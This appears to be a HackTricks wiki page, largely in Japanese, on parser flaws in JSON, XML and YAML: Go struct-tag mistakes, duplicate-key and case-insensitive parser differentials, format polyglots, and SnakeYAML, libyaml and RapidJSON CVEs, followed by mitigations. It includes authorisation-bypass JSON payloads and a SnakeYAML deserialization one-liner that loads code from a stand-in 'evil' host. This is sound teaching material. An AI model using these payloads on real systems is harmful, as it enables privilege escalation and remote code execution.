JSON, XML & Yaml Hacking & Issues

Reading time: 9 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Go JSON Decoder

以下の問題はGoのJSONで検出されましたが、他の言語にも存在する可能性があります。これらの問題は this blog post で公開されました。

GoのJSON、XML、およびYAMLパーサーには長年にわたる不整合や安全でないデフォルト設定の履歴があり、これらはbypass authenticationescalate privileges、またはexfiltrate sensitive dataの悪用につながり得ます。

(Un)Marshaling Unexpected Data

目的は、攻撃者が機密フィールド(例: IsAdmin, Password)の読み書きを可能にするstructを悪用することです。

  • Example Struct:
go
type User struct {
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
IsAdmin  bool   `json:"-"`
}
  • 一般的な脆弱性
  1. Missing tag (タグがない = フィールドはデフォルトで引き続きパースされる):
go
type User struct {
Username string
}

ペイロード:

json
{"Username": "admin"}
  1. - の不適切な使用:
go
type User struct {
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
}

Payload:

json
{"-": true}

✔️ フィールドが (un)marshaled されるのを防ぐ正しい方法:

go
type User struct {
IsAdmin bool `json:"-"`
}

パーサの差異

目的は、異なるパーサが同じペイロードを異なって解釈する点を悪用して認可を回避することで、例えば次のような事例がある:

  • CVE-2017-12635: Apache CouchDB bypass(重複キーを悪用)
  • 2022: Zoom 0-click RCE(XMLパーサの不整合による)
  • GitLab 2025 SAML bypass(XMLの特異な挙動を利用)

1. 重複フィールド: Go's encoding/json最後 のフィールドを採用する。

go
json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
fmt.Println(req.Action) // AdminAction

他のパーサ(例: Java’s Jackson)は最初を採ることがあります。

2. 大文字小文字を区別しない: Goは大文字小文字を区別しません:

go
json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
// matches `Action` field

Unicodeのトリックも有効です:

go
json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req)

3. サービス間のミスマッチ: Imagine:

  • Proxy が Go で実装されている
  • AuthZ service が Python で実装されている

Attacker が送信する:

json
{
"action": "UserAction",
"AcTiOn": "AdminAction"
}
  • Python は UserAction を見て許可する
  • Go は AdminAction を見て実行する

データフォーマットの混同 (Polyglots)

目的は、フォーマット(JSON/XML/YAML)を混在させるシステムや、パーサーエラーでフェイルオープンするシステムを悪用することです。例:

  • CVE-2020-16250: HashiCorp Vault は、STS が XML の代わりに JSON を返したあとに JSON を XML パーサで解析した。

攻撃者が制御できるもの:

  • Accept: application/json ヘッダー
  • JSON ボディの部分的な制御

Go の XML パーサはそれをそれでも解析し、注入された識別情報を信頼した。

  • 作成した payload:
json
{
"action": "Action_1",
"AcTiOn": "Action_2",
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
}

結果:

  • Go JSON パーサー: Action_2 (大文字小文字を区別しない + 後勝ち)
  • YAML パーサー: Action_1 (大文字小文字を区別する)
  • XML パーサー: 文字列内の "Action_3" を解析する

注目すべきパーサーの脆弱性 (2023-2025)

以下の公開悪用可能な問題は、不安全なパースがGoだけの問題ではなく複数の言語にまたがる問題であることを示している。

SnakeYAML Deserialization RCE (CVE-2022-1471)

  • 影響対象: org.yaml:snakeyaml < 2.0 (Spring-Boot、Jenkins などで使用)。
  • 根本原因: new Constructor() が任意の Java クラスをデシリアライズし、gadget chains を経て remote-code execution に至る可能性がある。
  • One-liner PoC (脆弱なホストで電卓を開く):
yaml
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
  • 修正 / 緩和:
  1. ≥2.0 へアップグレード(デフォルトで SafeLoader を使用)。
  2. 古いバージョンでは、明示的に new Yaml(new SafeConstructor()) を使用する。

libyaml Double-Free (CVE-2024-35325)

  • 影響: libyaml ≤0.2.5(多くの言語バインディングで利用される C ライブラリ)。
  • 問題: yaml_event_delete() を2回呼ぶとダブルフリーが発生し、攻撃者はそれを DoS や、場合によっては heap exploitation に利用できる。
  • 状況: Upstream は “API misuse” として却下したが、Linux ディストリビューションは防御的にポインタを null にして解放する修正版 0.2.6 を出荷した。

RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684)

  • 影響: Tencent RapidJSON の commit 8269bc2 より前(<1.1.0-patch-22)。
  • バグ: GenericReader::ParseNumber() 内の未チェックの算術により、攻撃者は巨大な数値リテラルを作成してラップアラウンドを起こしヒープを破損させることができる — 最終的に、生成されたオブジェクトグラフが認可判定に使われた場合に権限昇格を可能にする。

🔐 緩和策(更新)

RiskFix / Recommendation
Unknown fields (JSON)decoder.DisallowUnknownFields()
Duplicate fields (JSON)❌ stdlib に修正なし — jsoncheck で検証
Case-insensitive match (Go)❌ 修正なし — struct タグを検証 + 入力を事前に正規化する
XML garbage data / XXE強化されたパーサを使用する(encoding/xml + DisallowDTD
YAML unknown keysyaml.KnownFields(true)
Unsafe YAML deserializationSafeConstructor を使用 / SnakeYAML ≥2.0 にアップグレード
libyaml ≤0.2.5 double-free0.2.6 へアップグレード、またはディストリビューションでの修正版を使用
RapidJSON <patched commit最新の RapidJSON(≥July 2024)でコンパイルする

関連

Mass Assignment Cwe 915

参考文献

  • Baeldung – “Resolving CVE-2022-1471 With SnakeYAML 2.0”
  • Ubuntu Security Tracker – CVE-2024-35325 (libyaml)

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする